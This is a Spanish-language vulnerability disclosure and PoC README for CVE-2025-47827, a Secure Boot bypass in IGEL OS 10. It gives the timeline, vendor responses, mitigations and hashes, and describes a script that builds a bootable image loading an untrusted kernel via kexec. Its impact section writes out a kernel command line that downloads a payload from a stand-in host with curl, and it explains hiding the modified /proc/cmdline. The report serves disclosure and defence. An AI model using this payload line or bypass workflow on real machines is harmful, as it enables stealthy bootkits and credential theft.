PoC e informe de vulnerabilidad para CVE-2025-47827.
Prueba de concepto e informe de vulnerabilidad para CVE-2025-47827.
En IGEL OS anterior a v11, Secure Boot puede ser eludido porque el módulo
igel-flash-driver verifica incorrectamente una firma criptográfica.
En última instancia, se puede montar un sistema de archivos raíz manipulado desde
una imagen SquashFS no verificada.
La verificación incorrecta de la firma criptográfica en el módulo del kernel de Linux
igel-flash-driver en IGEL OS 10 permite que un actor malicioso eluda
Secure Boot, arrancando el shim firmado por Microsoft 3rd Party UEFI CA, que
luego carga GRUB y el kernel vulnerable, ambos firmados por IGEL Secure Boot
Signing CA. Una vez que se ha cargado el kernel vulnerable y el initramfs integrado,
se puede montar un sistema de archivos raíz malicioso desde la imagen SquashFS no verificada en el disco.
Como la llamada al sistema kexec_load está disponible en el kernel vulnerable, el kernel
actualmente arrancado puede ser reemplazado por uno completamente no confiable,
permitiendo prácticamente que cualquier sistema operativo arranque, siguiendo una cadena
completa de confianza.
En versiones posteriores de IGEL OS, el módulo verifica correctamente la firma de la imagen SquashFS del sistema de archivos raíz. Sin embargo, tanto el kernel vulnerable como las versiones parcheadas están firmados con el mismo certificado, lo que permite que el mismo shim arranque tanto versiones vulnerables como parcheadas.
La cadena vectorial inicial para CVE-2025-47827 fue
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,
obteniendo una puntuación CVSS de 8.4 (alta).
El 14 de octubre de 2025, esto se cambió a
AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,
reduciendo la puntuación a 4.6 (media).
Además, la debilidad original se definió como CWE-347: Verificación incorrecta de firma criptográfica, pero MSRC le ha asignado CWE-324: Uso de una clave después de su fecha de expiración.
Tanto IGEL como Microsoft fueron contactados e informados sobre esta vulnerabilidad, el 6 de diciembre de 2024 y el 31 de marzo de 2025 respectivamente, antes de que los detalles se hicieran públicos el 29 de mayo de 2025.
Como IGEL OS 10 no tiene soporte y la vulnerabilidad no existe directamente en el shim, ninguna de las partes ha sugerido una solución. Microsoft respondió con lo siguiente:
Tras la investigación, hemos determinado que este envío no cumple con la definición de vulnerabilidad de seguridad para mantenimiento, ya que IGEL OS v10 ya no tiene soporte y el problema está en el módulo del kernel, no en el shim. Solo el shim está firmado por el certificado de MSFT.
IGEL publicó un aviso de seguridad para CVE-2025-47827 el 2 de junio de 2025.
El 13 de junio de 2025, reporté esto nuevamente a Microsoft y recibí la siguiente respuesta:
Aunque su informe incluía información útil, no cumple con el requisito de Microsoft como vulnerabilidad de seguridad para mantenimiento. El problema reportado está en el módulo del kernel y no en el shim, y solo el shim está firmado por el certificado de MSFT. kexec ya permite eludir Secure Boot por diseño (Ref: kexec Command Line in Linux - Linux Expert Better 2025).
Esto cumpliría con los criterios de mantenimiento de MSRC si el problema estuviera en un controlador/componente de arranque. Esta es una vulnerabilidad en el controlador del kernel de la distribución de Linux. Esto ocurre después de UEFI "ExitBootServices", lo que significa que no es una elusión de Secure Boot. El usuario solo tiene ejecución de código a nivel de SO, no de arranque.
Desde la publicación de varios artículos de noticias sobre esta vulnerabilidad, los mantenedores de shim se pusieron en contacto con Microsoft e IGEL para discutir una solución.
Después de que se alcanzó una solución, creé otro caso en MSRC el 20 de octubre de 2025, preguntando por la razón detrás de la demora en revocar estos shims, modificaciones a la cadena vectorial CVSS y CWE, y por qué su guía de actualización indicaba que la vulnerabilidad no se había divulgado públicamente. Recibí la siguiente respuesta:
La vulnerabilidad de IGEL que se corrigió no es una elusión de Secure Boot. Es una elusión de integridad del kernel específica de Linux y no afecta a Windows. Los shims de IGEL son antiguos y no admiten la nueva revocación basada en SBAT. Por lo tanto, Microsoft emitió las revocaciones para protegerse contra posibles exploits de otras vulnerabilidades que han sido protegidas por SBAT.
Jeffrey Sutherland, Principal Lead Program Manager, respondió en el PR para explicar que, debido a la falta de SBAT, los shims tuvieron que ser revocados por DBX, e IGEL solicitó tiempo adicional para evitar consecuencias no deseadas. También se disculparon por no mantener la comunicación entre el investigador y las partes involucradas, según lo requerido por Divulgación Coordinada de Vulnerabilidades.
Una explotación de elusión de Secure Boot podría llevar al desarrollo de un bootkit/rootkit a nivel de kernel no detectado, lo que a su vez conlleva múltiples implicaciones, como:
Sin revocación o intervención manual, Secure Boot ha quedado inutilizado en todas las máquinas que confían en Microsoft 3rd Party UEFI CA, que es el valor predeterminado para la mayoría de los dispositivos al momento de escribir esto.
Si se usa para kexec, esta vulnerabilidad puede explotarse para modificar
silenciosamente y de forma maliciosa un sistema legítimo, sin afectar a Secure Boot.
El kernel podría reemplazarse por completo, permitiendo que código malicioso se ejecute a nivel de kernel, otorgando acceso sin restricciones a todos los recursos del sistema, incluidos memoria, CPU y dispositivos conectados.
Esto permitiría extraer claves de cifrado de la memoria, ejecutar procesos maliciosos sin restricciones y que el malware evite la detección.
La línea de comandos del kernel legítimo puede modificarse,
para deshabilitar módulos de seguridad o cambiar el parámetro init, permitiendo que un
payload malicioso se ejecute después de que se haya montado la raíz real.
Por ejemplo (modprobe, DHCP, chmod, omitido por brevedad):```sh
init=/bin/sh -- -c "curl http://malicious.site/payload > /path/to/executable; exec /sbin/init"
Esto podría reemplazar un ejecutable legítimo, secuestrar PID 1 o iniciarse automáticamente al arrancar, obteniendo fácilmente acceso root.
`/proc/cmdline` puede ser [secuestrado](https://wiki.archlinux.org/title/Kernel_parameters#Hijacking_cmdline) con un montaje bind para ocultar cualquier modificación.
Consulte la [documentación de Linux](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) para más información.
### Persistencia
El impacto sería persistente mientras los binarios EFI y el kernel requeridos estén presentes y configurados para arrancar por el firmware del sistema.
Las actualizaciones del sistema operativo pueden causar cambios en el orden de arranque o en la Base de Datos de Firmas Prohibidas de Secure Boot (DBX), lo que podría impedir que los binarios se ejecuten. Sin embargo, si el sistema operativo también está comprometido, esta acción correctiva podría revertirse.
Además, como el orden de arranque EFI es configurable por el sistema operativo, mediante la modificación de las variables EFI, un malware privilegiado podría obtener persistencia o elevar aún más sus privilegios instalando los archivos de arranque necesarios y configurando el orden de arranque en consecuencia.
## Detección
Asumiendo que se ha creado un rootkit perfecto a nivel de kernel para explotar esta vulnerabilidad, los datos sobre el sistema en ejecución no pueden ser confiables.
Los métodos de detección incluyen:
- Verificar la presencia de binarios involucrados
- Verificar firmas/integridad de archivos conocidos, p. ej. [rkhunter](https://rkhunter.sourceforge.net/)
- Análisis de comportamiento, especialmente en entornos en red
Como mínimo, los binarios EFI firmados que deben ser arrancados por el firmware del sistema y el kernel IGEL deben estar presentes en el sistema comprometido, pero, debido al [nivel](https://en.wikipedia.org/wiki/Protection_ring) en el que se ejecutaría el código malicioso, el [rootkit](https://en.wikipedia.org/wiki/Rootkit) podría ocultarse en tiempo de ejecución.
Otros indicadores de compromiso dependen de las acciones del malware que ha explotado esta vulnerabilidad. Por ejemplo, el kernel arrancado puede haber sido reemplazado, archivos en el sistema de archivos raíz modificados o programas inesperados ejecutándose.
## Mitigación
> [!IMPORTANT]
> Microsoft publicó un [DBX firmado](https://github.com/microsoft/secureboot_objects/releases/tag/1.6.0-signed) que revoca las firmas de los shims relevantes el 20 de octubre de 2025, tras un acuerdo con IGEL.
>
> Para sistemas Windows, consulte la [guía de actualización de MSRC](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-47827).
>
> Para actualizar sistemas basados en Linux con [fwupd](https://fwupd.org/), actualice [Linux Foundation (UEFI Revocation) Secure Boot dbx](https://fwupd.org/lvfs/devices/com.microsoft.dbx.x64.firmware) a la versión `20250902` en adelante.
>
> Para más información, consulte [microsoft/secureboot_objects#272](https://github.com/microsoft/secureboot_objects/pull/272).
Para evitar que la cadena de arranque se vea comprometida, el certificado utilizado para firmar la imagen vulnerable de GRUB/kernel debe ser revocado/desconfiado, o los hashes SHA-256 de los kernels (o shims) afectados deben agregarse a la lista de denegación DBX o MOKX. Consulte la [documentación de la Dirección de Ciberseguridad de la NSA](https://github.com/nsacyber/Hardware-and-Firmware-Security-Guidance/blob/master/secureboot/Linux.md) para más información.
Alternativamente, para evitar que el shim inicial se ejecute, se puede desconfiar de la CA UEFI de Terceros de Microsoft, pero esto puede causar una interrupción no deseada en otras aplicaciones legítimas. Algunos dispositivos tienen esta opción en la configuración del firmware.
La [página de ArchWiki para sbctl](https://wiki.archlinux.org/title/Unified_Extensible_Firmware_Interface/Secure_Boot#Creating_and_enrolling_keys) advierte lo siguiente:
> [!WARNING]
> Algunos firmwares están firmados y verificados con las claves de Microsoft cuando el arranque seguro está habilitado. No validar los dispositivos podría inutilizarlos.
Este es el [predeterminado para PC Secured-core](https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/secure-the-windows-10-boot-process#secure-boot):
> El estado predeterminado de Secure Boot tiene un amplio círculo de confianza, lo que puede llevar a que los clientes confíen en componentes de arranque que quizás no necesiten. Dado que el certificado de la CA UEFI de Terceros de Microsoft firma los gestores de arranque de todas las distribuciones de Linux, confiar en la firma de la CA UEFI de Terceros de Microsoft en la base de datos UEFI aumenta la superficie de ataque de los sistemas. Un cliente que pretendía confiar solo en una única distribución de Linux y arrancarla, confiará en todas las distribuciones, más allá de su configuración deseada. Una vulnerabilidad en cualquiera de los gestores de arranque expone el sistema y pone al cliente en riesgo de explotación por un gestor de arranque que nunca tuvo la intención de usar, como se ha visto en vulnerabilidades recientes, por ejemplo [con el gestor de arranque GRUB](https://msrc.microsoft.com/security-guidance/advisory/ADV200011) o [rootkit a nivel de firmware](https://www.darkreading.com/threat-intelligence/researchers-uncover-dangerous-new-firmware-level-rootkit) que afectan a componentes de arranque. Las [PC Secured-core](https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/OEM-highly-secure-11) requieren que Secure Boot esté habilitado y configurado para desconfiar de la firma de la CA UEFI de Terceros de Microsoft, de forma predeterminada, para ofrecer a los clientes la configuración más segura posible de sus PC.
### Arranque Medido
Si el sistema se arranca con el shim IGEL, las [mediciones PCR del TPM](https://wiki.archlinux.org/title/Trusted_Platform_Module#Accessing_PCR_registers) cambiarán.
Windows utiliza [Arranque Medido](https://learn.microsoft.com/en-us/windows/compatibility/measured-boot) por defecto con BitLocker, haciendo que las claves de cifrado sean inaccesibles si el sistema no se arranca con los binarios esperados.
En sistemas basados en Linux, [systemd-cryptenroll](https://wiki.archlinux.org/title/Systemd-cryptenroll) se puede usar para inscribir una clave LUKS en el TPM y vincularla a varios PCR (PCR 7 por defecto).
El Arranque Medido protege al sistema operativo legítimo de modificaciones, al liberar la clave de cifrado solo en un entorno de confianza. Sin embargo, no impide que un sistema operativo no autorizado arranque; esa es responsabilidad de Secure Boot.
Por lo tanto, un usuario aún podría estar en riesgo, incluso si su sistema operativo utiliza Arranque Medido. Por ejemplo:
- Arrancar el shim IGEL y un sistema operativo malicioso, mientras se pasa Secure Boot
- Emular la apariencia y el comportamiento del sistema operativo genuino
- El usuario ingresa credenciales que se envían al atacante
- Opcionalmente, reiniciar en el sistema operativo legítimo
Aunque el sistema operativo legítimo no puede modificarse con Arranque Medido, ya que la clave de cifrado está vinculada a las mediciones PCR del TPM[^1], el sistema aún puede arrancar software malicioso.
[^1]: Las claves de recuperación de BitLocker no están vinculadas al TPM.
### Imagen de Kernel Unificada
Una [imagen de kernel unificada](https://uapi-group.org/specifications/specs/unified_kernel_image/) se puede usar para agrupar todos los recursos de arranque (es decir, kernel, ramdisk inicial, línea de comandos del kernel, etc.) en un solo archivo PE UEFI. Estas imágenes se pueden firmar como cualquier otro ejecutable EFI. Para mejorar la seguridad del arranque y minimizar la superficie de ataque de la cadena de arranque, genere una imagen de kernel unificada y fírmela con claves generadas por el usuario, desconfiando de cualquier clave de proveedor/OEM.
## Binarios
Los binarios involucrados son los siguientes:
### Descripción
En orden de ejecución:
- `boot*.efi` -> shim firmado por Microsoft
- `igel*.efi` -> GRUB firmado por IGEL
- `bzImage` -> Imagen de Linux (initramfs incrustado), firmada por IGEL
El certificado para el sujeto `CN=IGEL Secure Boot Signing CA, O=IGEL Technology GmbH, L=Bremen, C=DE` se puede encontrar en [igelboot/shim](https://github.com/igelboot/shim/blob/igel-shim/igel-efi-pub-key.der).
La huella digital SHA-256 de este certificado es `5E:AE:E3:E0:EF:AA:58:85:E0:8A:CD:3F:FF:8D:1D:05:72:E0:14:2A:C8:E2:A5:42:A9:8C:9B:D4:2E:76:4D:F6`.
Las firmas de estos binarios se pueden verificar usando `sbverify` (de [`sbsigntools`](https://git.kernel.org/pub/scm/linux/kernel/git/jejb/sbsigntools.git/)):```sh
# Convert to PEM format
openssl x509 -in igel-efi-pub-key.der -outform pem -out igel-efi-pub-key.pem
# Verify signatures
for image in igel*.efi bzImage; do
sbverify --cert igel-efi-pub-key.pem "${image}"
done
SHA-256 (de udc10.06.220.iso):```
3258be9cede92f0b557391e920750e46134cccc13d3a78e306b630ed7b338b85 bootia32.efi
0c1e0821cef69a0bc2798996c6ce0b60564b2a1a9d67ef89f3059023edab720c bootx64.efi
2a8e546e6bbdbb01f49338b0e3ef22d8fea69aa0a585831b89960610e2e5d9b5 igelia32.efi
5f57a2a40fa6d55d1082e0c87cfea8c77d4f32e38e21fd0b5f2c4d2007ebdf91 igelx64.efi
09e14e4870f93fbfd13b85121cb9f0e4a877dd8d6566bea2d2db8d27e14f1d92 bzImage
Los hashes de [`bootx64.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R4461)
y [`bootia32.efi`](https://github.com/microsoft/secureboot_objects/pull/272/files#diff-08415e6b0bb62538ad2345360571cf3619be29812066c32df990a84e7d6b7926R5427)
han sido revocados mediante DBX.
## Prueba de concepto
Se proporciona un script de shell de prueba de concepto para descargar el ISO de instalación de IGEL OS,
extraer y crear una imagen de disco de arranque, con un sistema de archivos raíz SquashFS modificado.
Alternativamente, en lugar de una imagen de disco, el ISO podría ser reempaquetado con una partición del sistema EFI
añadida a la imagen. También se podría utilizar un MBR híbrido para conservar el soporte para sistemas BIOS heredados,
pero eso está fuera del alcance de este proyecto. El ISO de instalación contiene un cargador de arranque ISOLINUX para sistemas
heredados, que carga en cadena un `core.img` de GRUB.
### Superposiciones
Se proporcionan directorios de superposición de ejemplo, para demostrar el arranque de un entorno Arch Linux en vivo
a través de HTTP.
El script `init` cargará el kernel especificado en los parámetros de la línea de comandos del kernel con `kexec`,
luego reiniciará. El kernel de reemplazo no necesita estar firmado, si se pasa `--kexec-syscall` en lugar de `--kexec-file-syscall`.
El archivo de configuración de GRUB se almacena en la partición del sistema EFI, que puede modificarse fácilmente.
Se pueden colocar otros archivos en la ESP, como imágenes del kernel, initramfs o SquashFS, para que se arranquen
desde el primer sistema de archivos raíz con `kexec`. Esto permite cargar en cadena otro sistema localmente,
que puede actualizarse como un sistema normal, sin tener que reconstruir el ISO cada vez.
Alternativamente, los archivos necesarios pueden descargarse a través de HTTP con `curl`, y luego arrancarse,
para una imagen de disco más pequeña.
Este es un ejemplo inocente de cómo se podría explotar la vulnerabilidad, pero el script `init` o el kernel `kexec`
podrían ser modificados para demostrar un comportamiento malicioso.
### Dependencias
El script requiere los siguientes paquetes:
- [`bash`](https://www.gnu.org/software/bash/bash.html)
- [`coreutils`](https://www.gnu.org/software/coreutils/) (`dd`, y todo lo demás)
- [`dosfstools`](https://github.com/dosfstools/dosfstools) (`mkfs.fat`)
- [`igelfs-cli`](https://github.com/Zedeldi/igelfs)
- [`libisoburn`](https://dev.lovelyhq.com/libburnia/libisoburn) (`osirrox`, `xorriso`)
- [`squashfs-tools`](https://github.com/plougher/squashfs-tools) (`mksquashfs`, `unsquashfs`)
- [`sudo`](https://www.sudo.ws/sudo/)
- [`unzip`](https://infozip.sourceforge.net/UnZip.html)
- [`util-linux`](https://github.com/util-linux/util-linux) (`fdisk`, `losetup`)
- [`wget`](https://www.gnu.org/software/wget/wget.html)
Estos deberían estar disponibles para cualquier distribución desde sus repositorios oficiales de paquetes.
`igelfs-cli` se puede instalar en un entorno virtual desde
[PyPI](https://pypi.org/project/igelfs/):```sh
python -m venv .venv
source .venv/bin/activate
pip install igelfs
mkdiskimage: [-s SIZE] [-l LABEL] [-e ESP_OVERLAY] [-r ROOT_OVERLAY] PATH [SQUASHFS]
### Example
Construye una imagen de disco de 500 MB, copiando el contenido de `esp` y `root` a la EFI System Partition y al SquashFS respectivamente:```sh
mkdiskimage -s "500M" -e "esp" -r "root" "disk.img"
La imagen resultante arrancará una máquina con Secure Boot habilitado, que confía en la Microsoft 3rd Party UEFI CA.
La imagen de disco sin procesar se puede escribir en un dispositivo físico, o convertir para su uso con una máquina virtual.
Vea la página de lanzamientos para ver un ejemplo de imagen de disco arrancable y copias de los binarios relevantes.
El ejemplo contiene una imagen SquashFS de IGEL OS modificada para descargar e iniciar Arch Linux a través de HTTPS con kexec. El mirror se encuentra en la configuración de GRUB.
mkdiskimage descarga el archivo UDC de IGEL OS 10, que contiene el ISO de instalaciónosirrox, para obtener los binarios EFI, ddimage.bin y bzImageigelfs-cli, el sistema SquashFS se extrae de ddimage.bin, que luego se extrae con unsquashfsmksquashfs y se crea un nuevo ddimage.bin usando igelfs-cli, con el SquashFS como partición #1 (sys)ddimage.bin se añade a una imagen ISO con xorrisoEl ISO contiene solo el ddimage.bin y el archivo de pista boot_id, mientras que el ESP contiene binarios EFI y archivos para GRUB.
El sistema de archivos raíz podría crearse con buildroot para reducir considerablemente el tamaño del archivo.
Los módulos del kernel para bzImage se agregarán a la imagen SquashFS para agregar soporte para sistemas de archivos, redes, etc., junto con cualquier otro requisito.
Un ejemplo de defconfig para construir un SquashFS raíz, con kexec y sin script init, se puede encontrar en buildroot. Use un directorio overlay para agregar otros archivos, por ejemplo, script init, ya sea con BR2_ROOTFS_OVERLAY o mkdiskimage.
El binario de espacio de usuario kexec no está disponible por defecto en la partición del sistema IGEL OS 10, por lo que si se requiere, también se puede agregar a la imagen SquashFS parcheada.
El binario kexec se puede empaquetar con sus dependencias de bibliotecas usando staticx, para evitar bibliotecas compartidas faltantes en la imagen SquashFS de IGEL OS:```sh
staticx "$(which kexec)" "./root/sbin/kexec"
Nota: debido a la búsqueda de subcadenas de `parse_cmdline` del initramfs de IGEL,
especificar `init` _en cualquier lugar_ de la línea de comandos del kernel será interpretado por
el primer initramfs, por lo que `init` no puede ser pasado al kernel `kexec` a través de
los primeros parámetros del kernel.
### SSL
Si se requiere SSL, por ejemplo para HTTPS, agregue `/etc/ssl/certs/ca-certificates.crt`
a la imagen SquashFS.
### Requirements
El ISO debe ser la primera partición, haciendo que la Partición del Sistema EFI (ESP)
sea, de forma no convencional, la partición #2. Esto se debe a cómo el script `init` del initramfs
busca dispositivos.
De manera similar, cuando está instalado, IGEL OS crea dos ESP en las particiones #2 y #3.
GRUB requiere que `/boot/igel-ud-converter` esté presente en el mismo sistema de archivos
que `/boot/grub/igel.conf`:```
search --file --set search /boot/igel-ud-converter
set cmdpath=($search)
configfile $cmdpath/boot/grub/igel.conf
El script init del initramfs integrado en bzImage requiere que un archivo
que coincida con el boot_id pasado en la línea de comandos del kernel, con el prefijo de un punto (.),
esté presente en el sistema de archivos ISO. El boot_id debe comenzar con
IGEL_UDC_TO, por ejemplo .IGEL_UDC_TO_210319143827.
Estos archivos pueden estar vacíos, pero deben estar presentes.
El SquashFS también debe tener un directorio /igfimage para el script de inicio del initramfs;
de lo contrario, el cambio de raíz fallará.
Un usuario podría explotar esta vulnerabilidad intencionalmente para iniciar un sistema operativo basado en Linux en su máquina, sin configurar Secure Boot.
Además, como se utilizará efectivamente un entorno Linux completo como cargador de arranque,
el script init puede personalizarse para manejar la carga del siguiente kernel de maneras
más complejas de lo que permitiría un cargador de arranque convencional, por ejemplo, redes,
cifrado, etc. Por otro lado, esto podría aprovecharse para ocultar indicios de
compromiso, obteniendo activos en tiempo de ejecución en lugar de almacenarlos en disco.
Varios proyectos ya utilizan kexec para este propósito, como
kexecboot y
petitboot.
Detalles de la vulnerabilidad:
Mitigación:
Revisiones de actualizaciones:
Artículos de noticias:
Software y proyectos relacionados:
CVE-2025-47827 está bajo la Licencia MIT
para que todos puedan usar, modificar y compartir libremente.
Este proyecto se distribuye con la esperanza de que sea útil, pero sin ninguna garantía.
[!IMPORTANT] Por favor, sé responsable con esta información. La divulgación de esta vulnerabilidad tiene como objetivo informar a los usuarios y sugerir posibles mitigaciones para evitar daños.
Sé una buena persona.
Si encontraste útil este proyecto, considera donar. ¡Cualquier cantidad es muy apreciada! Gracias 😃
fdisk
dd)